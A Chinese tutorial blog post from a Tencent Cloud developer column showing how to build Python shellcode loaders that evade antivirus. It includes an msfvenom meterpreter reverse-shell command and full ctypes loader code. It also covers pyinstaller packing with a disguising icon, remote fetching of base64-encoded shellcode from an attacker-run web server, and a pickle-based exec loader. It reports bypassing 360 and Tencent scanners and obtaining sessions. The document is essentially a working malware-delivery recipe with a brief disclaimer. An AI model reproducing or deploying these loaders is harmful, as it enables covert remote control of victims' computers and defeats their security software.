首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >python在渗透测试中的免杀

python在渗透测试中的免杀

作者头像
逍遥子大表哥
发布于 2023-08-19 01:54:58
发布于 2023-08-19 01:54:58
62400
代码可运行
举报
文章被收录于专栏:kali blogkali blog
运行总次数:0
代码可运行

免杀一直是红队和蓝队热议的话题。各种姿势的免杀绕过令人瞠目结舌。python作为当今很热门的编程语言之一,它是如何进行免杀操作的呢?

本文仅供学习和研究,坚决反对一切危害网络安全的行为。

基于内存

我们首先在msf中生成python的shellcode

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.5.81 LPORT=5555 -f python -o 33.txt

替换关键词。

替换完成后,将下面代码放到下面shellcode中去。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
import ctypes
#(kali生成payload存放位置)
shellcode = bytearray(shellcode)
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
 
# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_uint64(ptr), 
    buf, 
    ctypes.c_int(len(shellcode))
)
# 创建一个线程从shellcode防止位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0), 
    ctypes.c_int(0), 
    ctypes.c_uint64(ptr), 
    ctypes.c_int(0), 
    ctypes.c_int(0), 
    ctypes.pointer(ctypes.c_int(0))
)
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

接下来,我们来测试是否能正常上线。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
use exploit/multi/handler
set payload windows/x64/meterpreter_reverse_tcp
set LHOST 192.168.5.81
set LPORT 5555
exploit -j

将保存的python代码复制到目标主机,执行python文件

如下,成功得到会话。

打包exe

并不是所有的目标主机都有python环境,因此我们需要将其打包成exe文件。

执行命令如下

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
pyinstaller -Fw -i tomcat.ico  --key=dabiaoge biao.py

-F 打包为单文件 -w 不显示窗口 -i ico图标文件 --key 加密字节码的密钥

等待打包完成。。。。

打包好后的可执行程序在dist目录中

运行程序后,成功上线。

免杀测试

360云查杀

电脑管家

在线查杀1/46

混淆shellcode

先用cs或者msf生成python shellcode

然后把shellcode进行BS64加密放在shellcode.txt里面并存放到服务器

利用base64加密

接着,我们将上面加密后的代码保存为txt文件。放在/var/www/html目录下。然后启动apache服务。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
service apache2 start

注意給放入的txt文件要添加权限,不然访问会403。即chmod -R 777 html

接着修改加载器的服务器地址后进行一次BaSe64加密,然后把代码放在txt里面并存放到服务器

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
import ctypes,urllib.request,codecs,base64
shellcode = urllib.request.urlopen('http://192.168.5.81/33.txt').read()
shellcode = shellcode.strip()
shellcode = base64.b64decode(shellcode)
 
shellcode =codecs.escape_decode(shellcode)[0]
 
shellcode = bytearray(shellcode)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_uint64(ptr),
    buf,
    ctypes.c_int(len(shellcode))
)
handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.c_uint64(ptr),
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.pointer(ctypes.c_int(0))
)
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

修改主程序

修改服务器地址后使用pyinstaller打包成exe可执行文件

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#-*- coding : utf-8-*-
#coding:unicode_escape
import pickle
import ctypes,urllib.request,codecs,base64
sectr = urllib.request.urlopen('http://192.168.5.81/44.txt').read()
#sectr=str(sectr,'UTF-8')
#print(sectr)
sectr = base64.b64decode(sectr).decode("utf-8")
class A(object):
    def __reduce__(self):
        return (exec, (sectr,))
ret = pickle.dumps(A())
ret_base64 = base64.b64encode(ret)
ret_decode = base64.b64decode(ret_base64)
pickle.loads(ret_decode)

为了保险起见,我们可以将其进行代码混淆

接着打包为exe文件

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
pyinstaller -Fw -i tomcat.ico rr.py

完美逃逸腾讯 360云查杀

cs 完美上线

总结

无论是哪种方法,归根到底都是利用了base64加密 XOR AES加密、代码混淆等方式。因此在实际工作中切勿运行来历不明的工具和软件

版权属于:逍遥子大表哥

本文链接:https://cloud.tencent.com/developer/article/2314206

按照知识共享署名-非商业性使用 4.0 国际协议进行许可,转载引用文章应遵循相同协议。

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
免杀 - shellcode简单混淆BypassAv
在进行渗透测试过程中,往往会遇到主机有杀软,导致我们的木马被查杀,那么我们就得想办法绕过杀软进行上线Cobalt strike 或者 Metasploiit
重生信息安全
2021/02/26
2.9K0
免杀  -  shellcode简单混淆BypassAv
免杀&&抽奖|python进行shellcode免杀
大部分脚本语言加载Shellcode都是通过c的ffi去调用操作系统的api,如果我们了解了C是怎么加载Shellcode的原理,使用时只需要查询一下对应语言的调用方式即可。首先我们要明白,Shellcode是一串可执行的二进制代码,那么我们想利用它就可以先通过其他的方法来开辟一段具有读写和执行权限的区域;然后将我们的Shellcode放进去,之后跳转到Shellcode的首地址去执行就可以了。
亿人安全
2022/08/30
3.6K0
免杀&&抽奖|python进行shellcode免杀
免杀初探:python加载shellcode免杀与国内主流杀软大战六个回合
本文整理自小迪师傅近期课程以及本人实验时所踩的一些坑和思路。文章由浅入深,可以让你从免杀小白到免杀入门者,能够绕过火绒和360等国内主流安全软件,成功上线msf。本人也是刚接触免杀,若有说得不对的地方,欢迎大佬们及时提出指正。关于本人在实验过程中所踩的一些坑会在文中提醒大家,让大家尽量少入坑。
FB客服
2021/10/11
3.9K0
测试免杀过卡巴斯基和window defender
是运用了反序列化,分离shellcode,敏感函数base64加密eval()执行.
谢公子
2022/01/20
1.2K0
测试免杀过卡巴斯基和window defender
免杀 | 利用Python免杀CS Shellcode
2019年,告别了coder的世界,告别了从前的生活。我决定暂时抛开金钱至上的价值体系,以一个Fucking loser的身份去寻找人生中的三大哲学问题,我是谁,我在哪儿,我在做什么。褪去了互联网行业的尔虞我诈,轻浮缥缈。在这个铺天盖地的泛娱乐时代,我决定去看看大海,去感受下海水的味道,没错,它确实是咸的。当沙滩上的沙子铺满全身的那一刻,我,拥有了几分钟童年。在途中,偶遇了黄河,没错,它确实很黄,并且波涛汹涌。也在这途中,缘分使我进入了曾经告别的安全行业。
HACK学习
2020/02/26
4.6K0
【免杀】一种python反序列化免杀方式
一种python反序列化免杀方式,过火绒、360、windows defender
亿人安全
2022/12/22
9940
【免杀】一种python反序列化免杀方式
利用加载器以及Python反序列化绕过AV
在日常红队行动中,为了利用目前现有的资源尝试获取更多的凭据以及更高的权限,我们通常需要先获得一台主机作为突破口,并将其作为跳板进行横向渗透。但是内网中一般部署有防火墙、流量监控等设备,杀软更是成为了服务器的标配,所以如何进行免杀绕过杀软的限制让主机上线成了我们首要解决的问题之一。目前免杀技术大致分为以下几类:
谢公子
2022/01/20
1.3K0
利用加载器以及Python反序列化绕过AV
Shellcode Loader原理
这块就是将前面的shellcode,转为bytes类型,因为生成出来的payload为十六进制
Elapse
2022/10/27
1.3K0
Shellcode Loader原理
pyinstaller打包exe免杀和逆向浅析
乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。
乌鸦安全
2021/11/25
6.5K0
pyinstaller打包exe免杀和逆向浅析
各类shellcode_loader
项目地址:https://github.com/rsmudge/metasploit-loader
.One
2021/07/15
7940
红队作业 | 实战免杀课程和实践
这是不免杀的,使用如下代码进行测试,使用pyinstaller生成可执行的exe文件。pyinstaller生成exe文件过程不会校验代码是否可执行,所以可以通过注释的方式一行行测试具体是什么代码报毒。
Ms08067安全实验室
2022/04/06
1.7K0
红队作业 | 实战免杀课程和实践
记一次有趣的溯源
到这里我竟然没有察觉到任何异常,以为能够拿到VPN入口权限;抓紧下载VPN客户端。
drunk_kk
2022/12/01
6300
Python 实现VT全免杀,过360动态
Python 实现VT全免杀,可以说静态免杀拉满了,过360动态免杀,火绒没有测试,不过火绒和360半斤八两就是了,windows denfender过静态,动态gg。这几天研究了几天Python免杀过windows denfender,网上能找到的方法基本都试了,还是没有过动态windows denfender免杀,期间试了花指令,exec加载+反序列化,exec分块加解密加载,更换shellcode加载器换了七八种常见的和不常见的加载器(文末分享)以及动态加载windows回调api执行shellcode,都没有过动态免杀,基本都在上线几秒钟被杀。
Creaper
2023/11/20
1.4K0
Python 实现VT全免杀,过360动态
干货 | Shellcode免杀总结<二>
xor异或加密shellcode后,申请内存执行,和文开头执行shell从的方式无区别
HACK学习
2020/02/17
1.8K0
干货 | Shellcode免杀总结<二>
pyinstaller打包逆向分析,顺便免杀Windows Defender
乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。
乌鸦安全
2021/08/05
2.8K0
pyinstaller打包逆向分析,顺便免杀Windows Defender
CS免杀-实现shellcode拉取stage
通常我们使用CS生成payload后,都是利用加载器将payload放在内存中运行
潇湘信安
2021/04/29
1.9K0
CS免杀-实现shellcode拉取stage
红队培训班作业 | 混淆&反沙盒机制&隐藏shellcode 过杀软静态检测
l 如下代码为实现payload经过fernet对称加密的shellcode生成器:
Ms08067安全实验室
2021/09/28
5200
Python内存加载shellcode
大部分脚本语言加载 shellcode 其实都是通过 c 的 ffi 去调用操作系统的api,其实并没有太多的技巧在里面,明白了原理,只需要查一下对应的脚本语言怎么调用 c 即可.
洛米唯熊
2020/04/26
2.6K0
Python内存加载shellcode
内网渗透神器_内网渗透什么意思
Mimikatz其实并不只有抓取口令这个功能,它还能够创建票证、票证传递、hash传递、甚至伪造域管理凭证令牌等诸多功能。由于mimikatz的使用说明网上资料很多,这里就不多加介绍了,随着这两年hw行动越来越多,企事业单位也都开始注重内网安全,有预算的会上全套的终端安全、企业版杀软或者EDR,就算没有预算的也会装个360全家桶或者主机卫士之类的,这也导致很多时候你的mimikatz可能都没法拷贝过去或者没有加载执行,拿了台服务器却横向移不动就尴尬了。因为这款工具特别出名所以被查杀的机率很大, 我们可以通过 github 上的开源代码对其进行源码免杀从而 bypass 反病毒软件。 Mimikatz 源代码下载 https://github.com/gentilkiwi/mimikatz 免杀步骤 替换 mimikatz 关键字 shenghuo
全栈程序员站长
2022/09/23
7780
内网渗透神器_内网渗透什么意思
红队作业 | 钉钉机器人远控服务器体验
钉钉,阿里巴巴出品,专为全球企业组织打造的智能移动办公平台,含PC版,IPad和手机版。远程视频会议,消息已读未读,DING消息任务管理,让沟通更高效;移动办公考勤,签到,审批,钉闪会,钉钉文档,钉钉教育解决方案,让工作学习更简单!
Ms08067安全实验室
2022/04/06
1.7K0
红队作业 | 钉钉机器人远控服务器体验
相关推荐
免杀 - shellcode简单混淆BypassAv
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档